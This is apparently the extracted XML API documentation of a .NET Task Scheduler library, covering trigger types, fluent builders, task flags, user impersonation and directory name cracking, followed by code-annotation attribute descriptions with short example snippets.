+ Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the ITriggerDelay interface. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only available for reading custom + triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every other day, every + third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 + and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from the subscription query + specified in the Subscription property. The name of the query can be used as a variable in the message of a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all entries in the + property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are enumerated and any tasks + registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, then do not assign a + value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty LogonTrigger.UserId property and assign a value to the + principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the + value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 to 32 and bits are + numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits are considered to + number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only available for Task + Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + If you specify a repetition duration for a task, you must also specify the repetition interval. + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. Only available for + Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of the week every week or + every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + + + Gets the number of triggers in the collection. + + + + + Gets or sets a specified trigger from the collection. + + + The . + + The id () of the trigger to be retrieved. + + Specialized instance. + + + + + Mismatching Id for trigger and lookup. + + + + Gets a specified trigger from the collection. + + The index of the trigger to be retrieved. + Specialized instance. + + + + Add an unbound to the task. + + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + + Add a new trigger to the collections of triggers for the task. + + The type of trigger to create. + A instance of the specified type. + + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all triggers from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified trigger type is contained in this collection. + + Type of the trigger. + + true if the specified trigger type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an , starting at a particular index. + + The one-dimensional that is the destination of the elements copied from . The must have zero-based indexing. + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + + The for this collection. + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the trigger to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an trigger at the specified index. + + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the trigger at a specified index. + + Index of trigger to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the triggers in this collection. + + + A that represents the triggers in this collection. + + + + + Releases all resources used by this class. + + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ 